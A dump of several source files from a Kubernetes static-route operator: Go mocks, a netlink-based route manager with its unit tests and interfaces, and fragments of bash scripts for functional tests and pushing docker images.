mockManager) SetFields(interface{}) error { 121 | return nil 122 | } 123 | 124 | func (m mockManager) Start(context.Context) error { 125 | return m.startErr 126 | } 127 | 128 | func (m mockManager) GetConfig() *rest.Config { 129 | return nil 130 | } 131 | 132 | func (m mockManager) GetScheme() *runtime.Scheme { 133 | return nil 134 | } 135 | 136 | func (m mockManager) GetClient() client.Client { 137 | if m.client != nil { 138 | return m.client 139 | } 140 | return newFakeClient() 141 | } 142 | 143 | func (m mockManager) GetHTTPClient() *http.Client { 144 | return nil 145 | } 146 | 147 | func (m mockManager) GetFieldIndexer() client.FieldIndexer { 148 | return nil 149 | } 150 | 151 | func (m mockManager) GetCache() cache.Cache { 152 | return nil 153 | } 154 | 155 | func (m mockManager) GetEventRecorderFor(name string) record.EventRecorder { 156 | return nil 157 | } 158 | 159 | func (m mockManager) GetRESTMapper() meta.RESTMapper { 160 | return nil 161 | } 162 | 163 | func (m mockManager) GetAPIReader() client.Reader { 164 | return nil 165 | } 166 | 167 | func (m mockManager) GetWebhookServer() webhook.Server { 168 | return nil 169 | } 170 | 171 | func (m mockManager) GetLogger() logr.Logger { 172 | return logr.Logger{} 173 | } 174 | 175 | func (m mockManager) GetControllerOptions() ctrlcfg.Controller { 176 | return ctrlcfg.Controller{} 177 | } 178 | 179 | func (m mockManager) AddHealthzCheck(string, healthz.Checker) error { 180 | return nil 181 | } 182 | 183 | func (m mockManager) AddReadyzCheck(string, healthz.Checker) error { 184 | return nil 185 | } 186 | 187 | func (m mockManager) AddMetricsExtraHandler(string, http.Handler) error { 188 | return nil 189 | } 190 | 191 | func (m mockManager) AddMetricsServerExtraHandler(string, http.Handler) error { 192 | return nil 193 | } 194 | 195 | type mockRouteManager struct{} 196 | 197 | func (m mockRouteManager) IsRegistered(string) bool { 198 | return false 199 | } 200 | 201 | func (m mockRouteManager) RegisterRoute(string, routemanager.Route) error { 202 | return nil 203 | } 204 | 205 | func (m mockRouteManager) DeRegisterRoute(string) error { 206 | return nil 207 | } 208 | 209 | func (m mockRouteManager) RegisterWatcher(routemanager.RouteWatcher) { 210 | 211 | } 212 | 213 | func (m mockRouteManager) DeRegisterWatcher(routemanager.RouteWatcher) { 214 | 215 | } 216 | 217 | func (m mockRouteManager) Run(stopChan chan struct{}) error { 218 | <-stopChan 219 | return nil 220 | } 221 | 222 | type mockDiscoverable struct { 223 | apiResourceList *metav1.APIResourceList 224 | serverResourcesForGroupVersionErr error 225 | } 226 | 227 | func (m mockDiscoverable) Discovery() discovery.DiscoveryInterface { 228 | resources := m.apiResourceList 229 | if resources == nil { 230 | resources = &metav1.APIResourceList{ 231 | APIResources: []metav1.APIResource{metav1.APIResource{ 232 | Kind: "StaticRoute", 233 | }}, 234 | } 235 | } 236 | return mockDiscovery{ 237 | apiResourceList: resources, 238 | serverResourcesForGroupVersionErr: m.serverResourcesForGroupVersionErr, 239 | } 240 | } 241 | 242 | type mockDiscovery struct { 243 | apiResourceList *metav1.APIResourceList 244 | serverResourcesForGroupVersionErr error 245 | } 246 | 247 | func (m mockDiscovery) OpenAPISchema() (*openapi_v2.Document, error) { 248 | return nil, nil 249 | } 250 | 251 | func (m mockDiscovery) OpenAPIV3() openapiclient.Client { 252 | return nil 253 | } 254 | 255 | func (m mockDiscovery) RESTClient() restclient.Interface { 256 | return nil 257 | } 258 | 259 | func (m mockDiscovery) ServerGroups() (*metav1.APIGroupList, error) { 260 | return nil, nil 261 | } 262 | 263 | func (m mockDiscovery) ServerResourcesForGroupVersion(groupVersion string) (*metav1.APIResourceList, error) { 264 | return m.apiResourceList, m.serverResourcesForGroupVersionErr 265 | } 266 | 267 | func (m mockDiscovery) ServerResources() ([]*metav1.APIResourceList, error) { 268 | return nil, nil 269 | } 270 | 271 | func (m mockDiscovery) ServerGroupsAndResources() ([]*metav1.APIGroup, []*metav1.APIResourceList, error) { 272 | return nil, nil, nil 273 | } 274 | 275 | func (m mockDiscovery) ServerPreferredResources() ([]*metav1.APIResourceList, error) { 276 | return nil, nil 277 | } 278 | 279 | func (m mockDiscovery) ServerPreferredNamespacedResources() ([]*metav1.APIResourceList, error) { 280 | return nil, nil 281 | } 282 | 283 | func (m mockDiscovery) ServerVersion() (*version.Info, error) { 284 | return nil, nil 285 | } 286 | 287 | func (m mockDiscovery) WithLegacy() discovery.DiscoveryInterface { 288 | return nil 289 | } 290 | -------------------------------------------------------------------------------- /pkg/routemanager/routemanager.go: -------------------------------------------------------------------------------- 1 | // 2 | // Copyright 2020 IBM Corporation 3 | // 4 | // Licensed under the Apache License, Version 2.0 (the "License"); 5 | // you may not use this file except in compliance with the License. 6 | // You may obtain a copy of the License at 7 | // 8 | // http://www.apache.org/licenses/LICENSE-2.0 9 | // 10 | // Unless required by applicable law or agreed to in writing, software 11 | // distributed under the License is distributed on an "AS IS" BASIS, 12 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | // See the License for the specific language governing permissions and 14 | // limitations under the License. 15 | // 16 | 17 | package routemanager 18 | 19 | import ( 20 | "errors" 21 | "reflect" 22 | "syscall" 23 | 24 | "github.com/vishvananda/netlink" 25 | "golang.org/x/sys/unix" 26 | ) 27 | 28 | var ( 29 | //NotFoundError route not found error 30 | ErrNotFound = errors.New("Route could not found") 31 | ) 32 | 33 | type routeManagerImpl struct { 34 | managedRoutes map[string]Route 35 | watchers []RouteWatcher 36 | nlRouteSubscribeFunc func(chan<- netlink.RouteUpdate, <-chan struct{}) error 37 | nlRouteAddFunc func(route *netlink.Route) error 38 | nlRouteDelFunc func(route *netlink.Route) error 39 | registerRouteChan chan routeManagerImplRegisterRouteParams 40 | deRegisterRouteChan chan routeManagerImplDeRegisterRouteParams 41 | registerWatcherChan chan RouteWatcher 42 | deRegisterWatcherChan chan RouteWatcher 43 | } 44 | 45 | type routeManagerImplRegisterRouteParams struct { 46 | name string 47 | route Route 48 | err chan<- error 49 | } 50 | 51 | type routeManagerImplDeRegisterRouteParams struct { 52 | name string 53 | err chan<- error 54 | } 55 | 56 | // New creates a RouteManager for production use. It populates the routeManagerImpl structure with the final pointers to netlink package's functions. 57 | func New() RouteManager { 58 | return &routeManagerImpl{ 59 | managedRoutes: make(map[string]Route), 60 | nlRouteSubscribeFunc: netlink.RouteSubscribe, 61 | nlRouteAddFunc: netlink.RouteAdd, 62 | nlRouteDelFunc: netlink.RouteDel, 63 | registerRouteChan: make(chan routeManagerImplRegisterRouteParams), 64 | deRegisterRouteChan: make(chan routeManagerImplDeRegisterRouteParams), 65 | registerWatcherChan: make(chan RouteWatcher), 66 | deRegisterWatcherChan: make(chan RouteWatcher), 67 | } 68 | } 69 | 70 | func (r *routeManagerImpl) RegisterRoute(name string, route Route) error { 71 | errChan := make(chan error) 72 | r.registerRouteChan <- routeManagerImplRegisterRouteParams{name, route, errChan} 73 | return <-errChan 74 | } 75 | 76 | func (r *routeManagerImpl) IsRegistered(name string) bool { 77 | _, exists := r.managedRoutes[name] 78 | return exists 79 | } 80 | 81 | func (r *routeManagerImpl) registerRoute(params routeManagerImplRegisterRouteParams) { 82 | if r.IsRegistered(params.name) { 83 | params.err <- errors.New("Route with the same Name already registered") 84 | return 85 | } 86 | nlRoute := params.route.toNetLinkRoute() 87 | /* If syscall returns EEXIST (file exists), it means the route already existing. 88 | There is no evidence that we created is before a crash, or someone else. 89 | We assume we created it and so start managing it again. */ 90 | if err := r.nlRouteAddFunc(&nlRoute); err != nil && syscall.EEXIST.Error() != err.Error() { 91 | params.err <- err 92 | return 93 | } 94 | r.managedRoutes[params.name] = params.route 95 | params.err <- nil 96 | } 97 | 98 | func (r *routeManagerImpl) DeRegisterRoute(name string) error { 99 | errChan := make(chan error) 100 | r.deRegisterRouteChan <- routeManagerImplDeRegisterRouteParams{name, errChan} 101 | return <-errChan 102 | } 103 | 104 | func (r *routeManagerImpl) deRegisterRoute(params routeManagerImplDeRegisterRouteParams) { 105 | item, found := r.managedRoutes[params.name] 106 | if !found { 107 | params.err <- ErrNotFound 108 | return 109 | } 110 | nlRoute := item.toNetLinkRoute() 111 | /* We remove the route from the managed ones, regardless of the ESRCH (no such process) error from the lower layer. 112 | Error supposed to happen only when the route is already missing, which was reported to the watchers, so they know. */ 113 | if err := r.nlRouteDelFunc(&nlRoute); err != nil && syscall.ESRCH.Error() != err.Error() { 114 | params.err <- err 115 | return 116 | } 117 | delete(r.managedRoutes, params.name) 118 | params.err <- nil 119 | } 120 | 121 | func (r *routeManagerImpl) RegisterWatcher(w RouteWatcher) { 122 | r.registerWatcherChan <- w 123 | } 124 | 125 | func (r *routeManagerImpl) registerWatcher(w RouteWatcher) { 126 | r.watchers = append(r.watchers, w) 127 | } 128 | 129 | func (r *routeManagerImpl) DeRegisterWatcher(w RouteWatcher) { 130 | r.deRegisterWatcherChan <- w 131 | } 132 | 133 | func (r *routeManagerImpl) deRegisterWatcher(w RouteWatcher) { 134 | for index, item := range r.watchers { 135 | if reflect.DeepEqual(item, w) { 136 | r.watchers = append(r.watchers[:index], r.watchers[index+1:]...) 137 | break 138 | } 139 | } 140 | } 141 | 142 | func (r Route) toNetLinkRoute() netlink.Route { 143 | return netlink.Route{ 144 | Dst: &r.Dst, 145 | Gw: r.Gw, 146 | Table: r.Table, 147 | } 148 | } 149 | 150 | /* 151 | This version of equal shall be used everywhere in this package. 152 | 153 | Netlink also does have an Equal function, however if we use that with 154 | mixing netlink.Route and routemanager.Route input, it will report false. 155 | The reason is that netlink.Route has a lot of additional properties which 156 | routemanager.Route doesn't (type, protocol, linkindex, etc.). So we need 157 | to convert back and forth the netlink.Route instances before comparing them 158 | to zero out the fields which we do not store in this package. 159 | */ 160 | func (r Route) equal(x Route) bool { 161 | return r.toNetLinkRoute().Equal(x.toNetLinkRoute()) 162 | } 163 | 164 | func fromNetLinkRoute(netlinkRoute netlink.Route) Route { 165 | return Route{ 166 | Dst: *netlinkRoute.Dst, 167 | Gw: netlinkRoute.Gw, 168 | Table: netlinkRoute.Table, 169 | } 170 | } 171 | 172 | func (r *routeManagerImpl) notifyWatchers(update netlink.RouteUpdate) { 173 | if update.Type != unix.RTM_DELROUTE { 174 | return 175 | } 176 | for _, route := range r.managedRoutes { 177 | updateRoute := fromNetLinkRoute(update.Route) 178 | if route.equal(updateRoute) { 179 | for _, watcher := range r.watchers { 180 | watcher.RouteDeleted(updateRoute) 181 | } 182 | break 183 | } 184 | } 185 | } 186 | 187 | func (r *routeManagerImpl) Run(stopChan chan struct{}) error { 188 | updateChan := make(chan netlink.RouteUpdate) 189 | if err := r.nlRouteSubscribeFunc(updateChan, stopChan); err != nil { 190 | return err 191 | } 192 | for { 193 | select { 194 | case update, ok := <-updateChan: 195 | if !ok { 196 | return nil 197 | } 198 | r.notifyWatchers(update) 199 | case <-stopChan: 200 | return nil 201 | case watcher := <-r.registerWatcherChan: 202 | r.registerWatcher(watcher) 203 | case watcher := <-r.deRegisterWatcherChan: 204 | r.deRegisterWatcher(watcher) 205 | case params := <-r.registerRouteChan: 206 | r.registerRoute(params) 207 | case params := <-r.deRegisterRouteChan: 208 | r.deRegisterRoute(params) 209 | } 210 | } 211 | } 212 | -------------------------------------------------------------------------------- /pkg/routemanager/routemanager_test.go: -------------------------------------------------------------------------------- 1 | // 2 | // Copyright 2020 IBM Corporation 3 | // 4 | // Licensed under the Apache License, Version 2.0 (the "License"); 5 | // you may not use this file except in compliance with the License. 6 | // You may obtain a copy of the License at 7 | // 8 | // http://www.apache.org/licenses/LICENSE-2.0 9 | // 10 | // Unless required by applicable law or agreed to in writing, software 11 | // distributed under the License is distributed on an "AS IS" BASIS, 12 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | // See the License for the specific language governing permissions and 14 | // limitations under the License. 15 | // 16 | 17 | package routemanager 18 | 19 | import ( 20 | "errors" 21 | "net" 22 | "reflect" 23 | "runtime" 24 | "sync" 25 | "syscall" 26 | "testing" 27 | 28 | "github.com/vishvananda/netlink" 29 | "golang.org/x/sys/unix" 30 | ) 31 | 32 | type MockRouteWatcher struct { 33 | routeDeletedCalledWith chan Route 34 | } 35 | 36 | func (m MockRouteWatcher) RouteDeleted(r Route) { 37 | m.routeDeletedCalledWith <- r 38 | } 39 | 40 | var gMockUpdateChan chan<- netlink.RouteUpdate 41 | var gTestRoute = Route{Dst: net.IPNet{IP: net.IP{192, 168, 1, 0}, Mask: net.CIDRMask(24, 32)}, Gw: net.IP{192, 168, 1, 254}, Table: 254} 42 | var gTestRouteName = "name" 43 | 44 | func mockRouteSubscribe(u chan<- netlink.RouteUpdate, c <-chan struct{}) error { 45 | gMockUpdateChan = u 46 | return nil 47 | } 48 | 49 | func dummyRouteAdd(route *netlink.Route) error { 50 | return nil 51 | } 52 | 53 | func dummyRouteDel(route *netlink.Route) error { 54 | return nil 55 | } 56 | 57 | type testableRouteManager struct { 58 | rm RouteManager 59 | runError error 60 | wg sync.WaitGroup 61 | stopChan chan struct{} 62 | } 63 | 64 | func (m *testableRouteManager) start() { 65 | m.wg.Add(1) 66 | go func() { 67 | m.runError = m.rm.Run(m.stopChan) 68 | m.wg.Done() 69 | }() 70 | } 71 | 72 | func (m *testableRouteManager) stop() { 73 | close(m.stopChan) 74 | m.wg.Wait() 75 | } 76 | 77 | func newTestableRouteManager() testableRouteManager { 78 | return testableRouteManager{ 79 | rm: &routeManagerImpl{ 80 | managedRoutes: make(map[string]Route), 81 | nlRouteSubscribeFunc: mockRouteSubscribe, 82 | nlRouteAddFunc: dummyRouteAdd, 83 | nlRouteDelFunc: dummyRouteDel, 84 | registerRouteChan: make(chan routeManagerImplRegisterRouteParams), 85 | deRegisterRouteChan: make(chan routeManagerImplDeRegisterRouteParams), 86 | registerWatcherChan: make(chan RouteWatcher), 87 | deRegisterWatcherChan: make(chan RouteWatcher), 88 | }, 89 | wg: sync.WaitGroup{}, 90 | stopChan: make(chan struct{}), 91 | } 92 | } 93 | 94 | func TestNewDoesReturnValidManager(t *testing.T) { 95 | rm := New() 96 | //Pretty intuitive way to check if two function pointers are identical. Thanks for: https://github.com/stretchr/testify/issues/182#issuecomment-495359313 97 | if runtime.FuncForPC(reflect.ValueOf(rm.(*routeManagerImpl).nlRouteAddFunc).Pointer()).Name() != runtime.FuncForPC(reflect.ValueOf(netlink.RouteAdd).Pointer()).Name() { 98 | t.Error("nlRouteAddFunc function is not pointing to netlink package") 99 | } 100 | if runtime.FuncForPC(reflect.ValueOf(rm.(*routeManagerImpl).nlRouteDelFunc).Pointer()).Name() != runtime.FuncForPC(reflect.ValueOf(netlink.RouteDel).Pointer()).Name() { 101 | t.Error("nlRouteDelFunc function is not pointing to netlink package") 102 | } 103 | if runtime.FuncForPC(reflect.ValueOf(rm.(*routeManagerImpl).nlRouteSubscribeFunc).Pointer()).Name() != runtime.FuncForPC(reflect.ValueOf(netlink.RouteSubscribe).Pointer()).Name() { 104 | t.Error("nlRouteSubscribeFunc function is not pointing to netlink package") 105 | } 106 | if rm.(*routeManagerImpl).registerRouteChan == nil { 107 | t.Error("registerRoute channel is not initialized") 108 | } 109 | if rm.(*routeManagerImpl).deRegisterRouteChan == nil { 110 | t.Error("deRegisterRoute channel is not initialized") 111 | } 112 | if rm.(*routeManagerImpl).registerWatcherChan == nil { 113 | t.Error("registerWatcher channel is not initialized") 114 | } 115 | if rm.(*routeManagerImpl).deRegisterWatcherChan == nil { 116 | t.Error("deRegisterWatcher channel is not initialized") 117 | } 118 | } 119 | 120 | func TestNothingBlocksInRun(t *testing.T) { 121 | testable := newTestableRouteManager() 122 | testable.start() 123 | defer testable.stop() 124 | 125 | mockWatcher := MockRouteWatcher{} 126 | if err := testable.rm.RegisterRoute(gTestRouteName, gTestRoute); err != nil { 127 | t.Error("RegisterRoute shall pass here") 128 | } 129 | testable.rm.RegisterWatcher(mockWatcher) 130 | 131 | if err := testable.rm.DeRegisterRoute(gTestRouteName); err != nil { 132 | t.Error("DeRegisterRoute shall pass here") 133 | } 134 | testable.rm.DeRegisterWatcher(mockWatcher) 135 | } 136 | 137 | func TestRunReturnsSubscribeError(t *testing.T) { 138 | testable := newTestableRouteManager() 139 | testable.rm.(*routeManagerImpl).nlRouteSubscribeFunc = func(chan<- netlink.RouteUpdate, <-chan struct{}) error { 140 | return errors.New("bla") 141 | } 142 | testable.start() 143 | testable.stop() 144 | if testable.runError == nil { 145 | t.Error("Run supposed to early exit with an error due to route subscription failure") 146 | } 147 | } 148 | 149 | func TestWatchNewRouteDoesNotTrigger(t *testing.T) { 150 | testable := newTestableRouteManager() 151 | testable.start() 152 | mockWatcher := MockRouteWatcher{routeDeletedCalledWith: make(chan Route)} 153 | 154 | testable.rm.RegisterWatcher(mockWatcher) 155 | if gMockUpdateChan == nil { 156 | t.Error("Update channel did not populate") 157 | } 158 | gMockUpdateChan <- netlink.RouteUpdate{Type: unix.RTM_NEWROUTE, Route: gTestRoute.toNetLinkRoute()} 159 | testable.rm.DeRegisterWatcher(mockWatcher) 160 | testable.stop() 161 | 162 | select { 163 | case <-mockWatcher.routeDeletedCalledWith: 164 | t.Error("Mock must not be triggered with new route, only del") 165 | default: 166 | } 167 | } 168 | 169 | func TestWatchDelRouteDoesNotTriggerIfNotWatched(t *testing.T) { 170 | testable := newTestableRouteManager() 171 | testable.start() 172 | mockWatcher := MockRouteWatcher{routeDeletedCalledWith: make(chan Route)} 173 | 174 | testable.rm.RegisterWatcher(mockWatcher) 175 | if gMockUpdateChan == nil { 176 | t.Error("Update channel did not populate") 177 | } 178 | gMockUpdateChan <- netlink.RouteUpdate{Type: unix.RTM_DELROUTE, Route: gTestRoute.toNetLinkRoute()} 179 | 180 | testable.stop() 181 | select { 182 | case <-mockWatcher.routeDeletedCalledWith: 183 | t.Error("Mock must not be triggered with a route which is not watched") 184 | default: 185 | } 186 | } 187 | 188 | func TestWatch(t *testing.T) { 189 | testable := newTestableRouteManager() 190 | testable.start() 191 | defer testable.stop() 192 | 193 | mockWatcher := MockRouteWatcher{routeDeletedCalledWith: make(chan Route)} 194 | if err := testable.rm.RegisterRoute(gTestRouteName, gTestRoute); err != nil { 195 | t.Error("RegisterRoute shall pass here") 196 | } 197 | testable.rm.RegisterWatcher(mockWatcher) 198 | 199 | if gMockUpdateChan == nil { 200 | t.Error("Update channel did not populate") 201 | } 202 | gMockUpdateChan <- netlink.RouteUpdate{Type: unix.RTM_DELROUTE, Route: gTestRoute.toNetLinkRoute()} 203 | 204 | fromUpdate := <-mockWatcher.routeDeletedCalledWith 205 | if !fromUpdate.toNetLinkRoute().Equal(gTestRoute.toNetLinkRoute()) { 206 | t.Error("Route in update event must be the same which we sent in") 207 | } 208 | 209 | if err := testable.rm.DeRegisterRoute(gTestRouteName); err != nil { 210 | t.Error("RegisterRoute shall pass here") 211 | } 212 | testable.rm.DeRegisterWatcher(mockWatcher) 213 | } 214 | 215 | func TestWatchCloseUpdateChan(t *testing.T) { 216 | testable := newTestableRouteManager() 217 | testable.start() 218 | 219 | mockWatcher := MockRouteWatcher{routeDeletedCalledWith: make(chan Route)} 220 | testable.rm.RegisterWatcher(mockWatcher) 221 | 222 | close(gMockUpdateChan) 223 | 224 | testable.wg.Wait() 225 | } 226 | 227 | func TestRegisterRouteSuccess(t *testing.T) { 228 | testable := newTestableRouteManager() 229 | addCalledWith := make(chan *netlink.Route) 230 | testable.rm.(*routeManagerImpl).nlRouteAddFunc = func(route *netlink.Route) error { 231 | addCalledWith <- route 232 | return nil 233 | } 234 | testable.start() 235 | 236 | go func() { 237 | if err := testable.rm.RegisterRoute(gTestRouteName, gTestRoute); err != nil { 238 | t.Error("RegisterRoute shall pass here") 239 | } 240 | }() 241 | addedRoute := <-addCalledWith 242 | testable.stop() 243 | if !addedRoute.Equal(gTestRoute.toNetLinkRoute()) { 244 | t.Error("Route sent to netlink does not match with the original") 245 | } 246 | if len(testable.rm.(*routeManagerImpl).managedRoutes) != 1 { 247 | t.Error("managedRoute slice must contain one element") 248 | } else { 249 | if !testable.rm.(*routeManagerImpl).managedRoutes[gTestRouteName].toNetLinkRoute().Equal(gTestRoute.toNetLinkRoute()) { 250 | t.Error("Route stored in managedRoutes must be equal to the one which we created in the test") 251 | } 252 | } 253 | 254 | } 255 | 256 | func TestRegisterRouteFail(t *testing.T) { 257 | testable := newTestableRouteManager() 258 | addCalledWith := make(chan *netlink.Route) 259 | testable.rm.(*routeManagerImpl).nlRouteAddFunc = func(route *netlink.Route) error { 260 | addCalledWith <- route 261 | return errors.New("bla") 262 | } 263 | testable.start() 264 | 265 | go func() { 266 | if err := testable.rm.RegisterRoute(gTestRouteName, gTestRoute); err == nil { 267 | t.Error("RegisterRoute shall fail here") 268 | } 269 | }() 270 | addedRoute := <-addCalledWith 271 | if !addedRoute.Equal(gTestRoute.toNetLinkRoute()) { 272 | t.Error("Route sent to netlink does not match with the original") 273 | } 274 | if len(testable.rm.(*routeManagerImpl).managedRoutes) > 0 { 275 | t.Error("managedRoute slice must be empty") 276 | } 277 | 278 | testable.stop() 279 | } 280 | 281 | func TestSameRegisterRouteTwiceFail(t *testing.T) { 282 | testable := newTestableRouteManager() 283 | testable.start() 284 | 285 | err := testable.rm.RegisterRoute(gTestRouteName, gTestRoute) 286 | if err != nil { 287 | t.Error("First RegisterRoute must pass") 288 | } 289 | if len(testable.rm.(*routeManagerImpl).managedRoutes) != 1 { 290 | t.Error("managedRoute slice must contain the added route") 291 | } 292 | err = testable.rm.RegisterRoute(gTestRouteName, gTestRoute) 293 | if err == nil { 294 | t.Error("Adding the same route for the second time shall fail") 295 | } 296 | if len(testable.rm.(*routeManagerImpl).managedRoutes) != 1 { 297 | t.Error("managedRoute slice must still contain the added route") 298 | } 299 | 300 | testable.stop() 301 | } 302 | 303 | func TestDeRegisterRouteAlreadyDeleted(t *testing.T) { 304 | testable := newTestableRouteManager() 305 | delCalledWith := make(chan *netlink.Route) 306 | testable.rm.(*routeManagerImpl).nlRouteDelFunc = func(route *netlink.Route) error { 307 | delCalledWith <- route 308 | return errors.New(syscall.ESRCH.Error()) 309 | } 310 | testable.start() 311 | if err := testable.rm.RegisterRoute(gTestRouteName, gTestRoute); err != nil { 312 | t.Error("RegisterRoute shall pass here") 313 | } 314 | 315 | go func() { 316 | if err := testable.rm.DeRegisterRoute(gTestRouteName); err != nil { 317 | t.Error("DeRegisterRoute shall pass here") 318 | } 319 | }() 320 | deletedRoute := <-delCalledWith 321 | testable.stop() 322 | if !deletedRoute.Equal(gTestRoute.toNetLinkRoute()) { 323 | t.Error("Route sent to netlink does not match with the original") 324 | } 325 | if len(testable.rm.(*routeManagerImpl).managedRoutes) > 0 { 326 | t.Error("managedRoute slice must be empty") 327 | } 328 | 329 | } 330 | 331 | func TestDeRegisterRouteUnknownError(t *testing.T) { 332 | testable := newTestableRouteManager() 333 | delCalledWith := make(chan *netlink.Route) 334 | testable.rm.(*routeManagerImpl).nlRouteDelFunc = func(route *netlink.Route) error { 335 | delCalledWith <- route 336 | return errors.New("bla") 337 | } 338 | testable.start() 339 | if err := testable.rm.RegisterRoute(gTestRouteName, gTestRoute); err != nil { 340 | t.Error("RegisterRoute shall pass here") 341 | } 342 | 343 | go func() { 344 | if err := testable.rm.DeRegisterRoute(gTestRouteName); err == nil { 345 | t.Error("DeRegisterRoute shall fail here") 346 | } 347 | }() 348 | deletedRoute := <-delCalledWith 349 | if !deletedRoute.Equal(gTestRoute.toNetLinkRoute()) { 350 | t.Error("Route sent to netlink does not match with the original") 351 | } 352 | if len(testable.rm.(*routeManagerImpl).managedRoutes) != 1 { 353 | t.Error("managedRoute slice must still contain the route, which couldn't be removed due to an unknown error") 354 | } 355 | 356 | testable.stop() 357 | } 358 | 359 | func TestDeRegisterRouteWhichIsNotRegistered(t *testing.T) { 360 | testable := newTestableRouteManager() 361 | testable.start() 362 | err := testable.rm.DeRegisterRoute(gTestRouteName) 363 | if err != ErrNotFound { 364 | t.Error("Deregistration shall fail due to asking for a non-managed route") 365 | } 366 | testable.stop() 367 | } 368 | -------------------------------------------------------------------------------- /pkg/routemanager/types.go: -------------------------------------------------------------------------------- 1 | // 2 | // Copyright 2020 IBM Corporation 3 | // 4 | // Licensed under the Apache License, Version 2.0 (the "License"); 5 | // you may not use this file except in compliance with the License. 6 | // You may obtain a copy of the License at 7 | // 8 | // http://www.apache.org/licenses/LICENSE-2.0 9 | // 10 | // Unless required by applicable law or agreed to in writing, software 11 | // distributed under the License is distributed on an "AS IS" BASIS, 12 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | // See the License for the specific language governing permissions and 14 | // limitations under the License. 15 | // 16 | 17 | package routemanager 18 | 19 | import ( 20 | "net" 21 | ) 22 | 23 | // Route structure represents just-enough data to manage IP routes from user code 24 | type Route struct { 25 | Dst net.IPNet 26 | Gw net.IP 27 | Table int 28 | } 29 | 30 | // RouteWatcher is a user-implemented interface, where RouteManager will call back if a managed route is damaged 31 | type RouteWatcher interface { 32 | RouteDeleted(Route) 33 | } 34 | 35 | // RouteManager is the main interface, which is implemented by the package 36 | type RouteManager interface { 37 | //IsRegistered returns true if a Route (by it's name) is already managed 38 | IsRegistered(string) bool 39 | //RegisterRoute creates and start watching the route. If the route is deleted after the registration, RouteWatchers will be notified. 40 | RegisterRoute(string, Route) error 41 | //DeRegisterRoute removed the route from the kernel and also stop watching it. 42 | DeRegisterRoute(string) error 43 | //RegisterWatcher registers a new RouteWatcher, which will be notified if the managed routes are deleted. 44 | RegisterWatcher(RouteWatcher) 45 | //DeRegisterWatcher removes watchers 46 | DeRegisterWatcher(RouteWatcher) 47 | //Run is the main event loop, shall run in it's own go-routine. Returns when the channel sent in got closed. 48 | Run(chan struct{}) error 49 | } 50 | -------------------------------------------------------------------------------- /pkg/types/logger.go: -------------------------------------------------------------------------------- 1 | // 2 | // Copyright 2020 IBM Corporation 3 | // 4 | // Licensed under the Apache License, Version 2.0 (the "License"); 5 | // you may not use this file except in compliance with the License. 6 | // You may obtain a copy of the License at 7 | // 8 | // http://www.apache.org/licenses/LICENSE-2.0 9 | // 10 | // Unless required by applicable law or agreed to in writing, software 11 | // distributed under the License is distributed on an "AS IS" BASIS, 12 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | // See the License for the specific language governing permissions and 14 | // limitations under the License. 15 | // 16 | 17 | package types 18 | 19 | // Logger common logging interface 20 | type Logger interface { 21 | Info(string, ...interface{}) 22 | Error(error, string, ...interface{}) 23 | } 24 | -------------------------------------------------------------------------------- /scripts/fvt-tools.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | # Wait loop configuration 4 | SLEEP_COUNT=20 5 | SLEEP_WAIT_SECONDS=6 6 | declare -a NODES 7 | 8 | originalPodSecuritySync="" 9 | originalPodSecurityEnforce="" 10 | originalPodSecurityEnforceVersion="" 11 | 12 | function pod_security_label_namespace() { 13 | currentLabels=$(kubectl get ns "$1" --ignore-not-found -o=jsonpath='{.metadata.labels}{"\n"}' | tr -d '"' | tr -d '{' | tr -d '}' | tr "," "\n") 14 | 15 | originalPodSecuritySync=$(echo "$currentLabels" | ( grep security.openshift.io/scc.podSecurityLabelSync: || true ) | cut -d ":" -f2) 16 | originalPodSecurityEnforce=$(echo "$currentLabels" | ( grep pod-security.kubernetes.io/enforce: || true ) | cut -d ":" -f2) 17 | originalPodSecurityEnforceVersion=$(echo "$currentLabels" | ( grep pod-security.kubernetes.io/enforce-version || true ) | cut -d ":" -f2) 18 | 19 | kubectl label --overwrite ns default security.openshift.io/scc.podSecurityLabelSync=false pod-security.kubernetes.io/enforce=privileged pod-security.kubernetes.io/enforce-version=latest 20 | } 21 | 22 | function pod_security_unlabel_namespace() { 23 | if [[ -z "$originalPodSecuritySync" ]]; then 24 | kubectl label --overwrite ns "$1" security.openshift.io/scc.podSecurityLabelSync- 25 | else 26 | kubectl label --overwrite ns "$1" security.openshift.io/scc.podSecurityLabelSync="$originalPodSecuritySync" 27 | fi 28 | 29 | if [[ -z "$originalPodSecurityEnforce" ]]; then 30 | kubectl label --overwrite ns "$1" pod-security.kubernetes.io/enforce- 31 | else 32 | kubectl label --overwrite ns "$1" pod-security.kubernetes.io/enforce="$originalPodSecurityEnforce" 33 | fi 34 | 35 | if [[ -z "$originalPodSecurityEnforceVersion" ]]; then 36 | kubectl label --overwrite ns "$1" pod-security.kubernetes.io/enforce-version- 37 | else 38 | kubectl label --overwrite ns "$1" pod-security.kubernetes.io/enforce-version="$originalPodSecurityEnforceVersion" 39 | fi 40 | } 41 | 42 | fvtlog() { 43 | echo "$(date +"%F %T %Z")" "[fvt]" "$*" 44 | } 45 | 46 | update_node_list() { 47 | mapfile -d' ' -t NODES < <(kubectl get nodes --no-headers -o jsonpath='{.items[*].metadata.name}') 48 | } 49 | 50 | pick_non_master_node() { 51 | if [[ "${PROVIDER}" == "ibmcloud" ]]; then 52 | echo -ne "${NODES[0]}" 53 | else 54 | for index in ${!NODES[*]} 55 | do 56 | kubectl get no "${NODES[$index]}" --show-labels | grep 'kubernetes.io/hostname=static-route-operator-fvt-control-plane' > /dev/null && continue || echo -ne "${NODES[$index]}"; break 57 | done 58 | fi 59 | } 60 | 61 | create_hostnet_pods() { 62 | for index in ${!NODES[*]} 63 | do 64 | cat < /tmp/${docker_registry}.log 2>&1 & 18 | DOCKER_PID_LIST+=($!) 19 | done 20 | 21 | # keep Travis alive, when pushing large docker images 22 | while (( TIMEOUT-- > 0 )) 23 | do 24 | echo "Pushing ${DOCKER_IMAGE}:${DOCKER_TAG} image to [${DOCKER_REGISTRY_LIST}] registries..." 25 | sleep 60 26 | done & 27 | KEEPALIVE_PID=$! 28 | 29 | for pid in "${DOCKER_PID_LIST[@]}" 30 | do 31 | wait ${pid} || (( 